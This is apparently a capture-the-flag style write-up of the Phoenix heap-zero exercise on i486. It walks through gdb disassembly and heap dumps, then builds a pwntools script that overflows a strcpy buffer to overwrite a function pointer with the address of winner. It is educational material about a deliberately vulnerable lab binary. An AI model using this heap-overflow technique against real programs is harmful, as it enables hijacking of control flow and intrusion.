i486

x86 32bit version of the heap-zero exercise.

Now we understand how the program works after reading the source code it might be a good ideia to also take a look into the assembly code.

Let's open the program in gdb and run it with a regular argument, just to start our dynamic analysis.

(gdb) set args AAAA
(gdb) r

The program makes it easier by telling us where our input is and where fp is, so we could easily calculate our offset and complete the challenge without even using a debugger, but we'll take the long way in order to get the most out of this exercise.

Let's disassemble the main function:

(gdb) disas main
   0x08048867 <+0>:	lea    ecx,[esp+0x4]
   0x0804886b <+4>:	and    esp,0xfffffff0
   0x0804886e <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048871 <+10>:	push   ebp
   0x08048872 <+11>:	mov    ebp,esp
   0x08048874 <+13>:	push   ebx
   0x08048875 <+14>:	push   ecx
   0x08048876 <+15>:	sub    esp,0x10
   0x08048879 <+18>:	mov    ebx,ecx
   0x0804887b <+20>:	sub    esp,0xc
   0x0804887e <+23>:	push   0x804ac44
   0x08048883 <+28>:	call   0x8048600 <puts@plt>
   0x08048888 <+33>:	add    esp,0x10
   0x0804888b <+36>:	cmp    DWORD PTR [ebx],0x1
   0x0804888e <+39>:	jg     0x80488aa <main+67>
   0x08048890 <+41>:	sub    esp,0xc
   0x08048893 <+44>:	push   0x804ac90
   0x08048898 <+49>:	call   0x8048600 <puts@plt>
   0x0804889d <+54>:	add    esp,0x10
   0x080488a0 <+57>:	sub    esp,0xc
   0x080488a3 <+60>:	push   0x1
   0x080488a5 <+62>:	call   0x8048680 <exit@plt>
   0x080488aa <+67>:	sub    esp,0xc
   0x080488ad <+70>:	push   0x40
   0x080488af <+72>:	call   0x8049146 <malloc>
   0x080488b4 <+77>:	add    esp,0x10
   0x080488b7 <+80>:	mov    DWORD PTR [ebp-0xc],eax
   0x080488ba <+83>:	sub    esp,0xc
   0x080488bd <+86>:	push   0x40
   0x080488bf <+88>:	call   0x8049146 <malloc>
   0x080488c4 <+93>:	add    esp,0x10
   0x080488c7 <+96>:	mov    DWORD PTR [ebp-0x10],eax
   0x080488ca <+99>:	mov    eax,DWORD PTR [ebp-0x10]
   0x080488cd <+102>:	mov    DWORD PTR [eax],0x804884e
   0x080488d3 <+108>:	mov    eax,DWORD PTR [ebx+0x4]
   0x080488d6 <+111>:	add    eax,0x4
   0x080488d9 <+114>:	mov    edx,DWORD PTR [eax]
   0x080488db <+116>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080488de <+119>:	sub    esp,0x8
   0x080488e1 <+122>:	push   edx
   0x080488e2 <+123>:	push   eax
   0x080488e3 <+124>:	call   0x80485b0 <strcpy@plt>
   0x080488e8 <+129>:	add    esp,0x10
   0x080488eb <+132>:	mov    eax,DWORD PTR [ebp-0x10]
   0x080488ee <+135>:	mov    eax,DWORD PTR [eax]
   0x080488f0 <+137>:	push   eax
   0x080488f1 <+138>:	push   DWORD PTR [ebp-0x10]
   0x080488f4 <+141>:	push   DWORD PTR [ebp-0xc]
   0x080488f7 <+144>:	push   0x804acb8
   0x080488fc <+149>:	call   0x80485d0 <printf@plt>
   0x08048901 <+154>:	add    esp,0x10
   0x08048904 <+157>:	mov    eax,ds:0x804c2c0
   0x08048909 <+162>:	sub    esp,0xc
   0x0804890c <+165>:	push   eax
   0x0804890d <+166>:	call   0x8048610 <fflush@plt>
   0x08048912 <+171>:	add    esp,0x10
   0x08048915 <+174>:	mov    eax,DWORD PTR [ebp-0x10]
   0x08048918 <+177>:	mov    eax,DWORD PTR [eax]
   0x0804891a <+179>:	call   eax
   0x0804891c <+181>:	mov    eax,0x0
   0x08048921 <+186>:	lea    esp,[ebp-0x8]
   0x08048924 <+189>:	pop    ecx
   0x08048925 <+190>:	pop    ebx
   0x08048926 <+191>:	pop    ebp
   0x08048927 <+192>:	lea    esp,[ecx-0x4]
   0x0804892a <+195>:	ret    
End of assembler dump.

We can see the calls to malloc() and strcpy() that were mentioned previously. Let's set breakpoints at those to see how the heap looks like throughout execution. I'll set a breakpoint after the last malloc to see the layout of the heap, another one when the pointer to the nowinner function (fp) is stored and finally another one after our input is copied to the heap. So we want to break in the line after each of the following instructions:

0x080488bf <+88>:	call   0x8049146 <malloc>
[snip]
0x080488cd <+102>:	mov    DWORD PTR [eax],0x804884e
[snip]
0x080488e3 <+124>:	call   0x80485b0 <strcpy@plt>

The address that follow each of these are, respectively, 0x080488c4, 0x080488d3 and 0x080488e8

(gdb) b*0x080488c4
Breakpoint 1 at 0x80488c4
(gdb) b*0x080488d3 
Breakpoint 2 at 0x80488d3
(gdb) b*0x080488e8 
Breakpoint 3 at 0x80488e8

Now let's run the program to further investigate.

(gdb) r
Starting program: /opt/phoenix/i486/heap-zero AAAA
Welcome to phoenix/heap-zero, brought to you by https://exploit.education

Breakpoint 1, 0x080488c4 in main ()
(gdb) info proc mapping
process 332
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x804c000     0x4000        0x0 /opt/phoenix/i486/heap-zero
	 0x804c000  0x804d000     0x1000     0x3000 /opt/phoenix/i486/heap-zero
	0xf7e69000 0xf7f69000   0x100000        0x0 
	0xf7f69000 0xf7f6b000     0x2000        0x0 [vvar]
	0xf7f6b000 0xf7f6d000     0x2000        0x0 [vdso]
	0xf7f6d000 0xf7ffa000    0x8d000        0x0 /opt/phoenix/i486-linux-musl/lib/libc.so
	0xf7ffa000 0xf7ffb000     0x1000    0x8c000 /opt/phoenix/i486-linux-musl/lib/libc.so
	0xf7ffb000 0xf7ffc000     0x1000    0x8d000 /opt/phoenix/i486-linux-musl/lib/libc.so
	0xf7ffc000 0xf7ffe000     0x2000        0x0 
	0xfffdd000 0xffffe000    0x21000        0x0 [stack]

We can find the heap at 0xf7e69000, now let's analyse it. x/64wx will print 64 words (1 word = 4 bytes).

(gdb) x/64w 0xf7e69000
0xf7e69000:	0x00000000	0x00000049	0x00000000	0x00000000
0xf7e69010:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69020:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69030:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69040:	0x00000000	0x00000000	0x00000000	0x00000049
0xf7e69050:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69060:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69070:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69080:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69090:	0x00000000	0x000fff71	0x00000000	0x00000000
0xf7e690a0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690b0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690c0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690d0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690e0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690f0:	0x00000000	0x00000000	0x00000000	0x00000000

Reading the chunk headers we can see there are 2 chunks of 48 bytes total (one for each malloc), and we add 1 byte (previous-in-use flag) to the size metadata to indicate that the previous chunk is in use, so that's why both chunks have 49 as the size.

0x000fff71

This is the size of the rest of the heap apart from this 2 chunks that were already allocated, this is also known as the top chunk or wilderness.

After continuing the execution we can see exactly where fp (the pointer we want to overwrite) is,

0xf7e69000:	0x00000000	0x00000049	0x00000000	0x00000000
0xf7e69010:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69020:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69030:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69040:	0x00000000	0x00000000	0x00000000	0x00000049
0xf7e69050:	0x0804884e	0x00000000	0x00000000	0x00000000
0xf7e69060:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69070:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69080:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69090:	0x00000000	0x000fff71	0x00000000	0x00000000
0xf7e690a0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690b0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690c0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690d0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690e0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690f0:	0x00000000	0x00000000	0x00000000	0x00000000

And if we continue again we can find our input:

0xf7e69000:	0x00000000	0x00000049	0x41414141	0x00000000
0xf7e69010:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69020:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69030:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69040:	0x00000000	0x00000000	0x00000000	0x00000049
0xf7e69050:	0x0804884e	0x00000000	0x00000000	0x00000000
0xf7e69060:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69070:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69080:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69090:	0x00000000	0x000fff71	0x00000000	0x00000000
0xf7e690a0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690b0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690c0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690d0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690e0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690f0:	0x00000000	0x00000000	0x00000000	0x00000000

We start writing at 0xf7e69008, and we want to reach 0xf7e69050 with junk, so our junk size will be 72 bytes, and the next for bytes are the value we want to write, which is the address of the winner function.

(gdb) x winner
0x8048835 <winner>:	0x83e58955

So we just need to provide an argument with 72 meaningless bytes + address of winner. Here is the expected heap layout:

(gdb) x/64wx 0xf7e69000
0xf7e69000:	0x00000000	0x00000049	0x41414141	0x41414141
0xf7e69010:	0x41414141	0x41414141	0x41414141	0x41414141
0xf7e69020:	0x41414141	0x41414141	0x41414141	0x41414141
0xf7e69030:	0x41414141	0x41414141	0x41414141	0x41414141
0xf7e69040:	0x41414141	0x41414141	0x41414141	0x41414141
0xf7e69050:	0x08048835	0x00000000	0x00000000	0x00000000
0xf7e69060:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69070:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69080:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69090:	0x00000000	0x000fff71	0x00000000	0x00000000
0xf7e690a0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690b0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690c0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690d0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690e0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690f0:	0x00000000	0x00000000	0x00000000	0x00000000

The following python code will do the job:

#!/usr/bin/env python
from pwn import *

junk = 'A'*72
winner = p32(0x08048835)
payload = junk + winner

io = process(['./heap-zero', payload])
out = io.recv(1024)
print out
root@phoenix-amd64:/opt/phoenix/i486# ./exploit.py 
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /root/.pwntools-cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.12.2 --> 4.5.1).
    Update with: $ pip install -U pwntools
[+] Starting local process './heap-zero': pid 347
[*] Process './heap-zero' stopped with exit code 0 (pid 347)
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x8048835
Congratulations, you have passed this level

root@phoenix-amd64:/opt/phoenix/i486# 

And we win :)

Last updated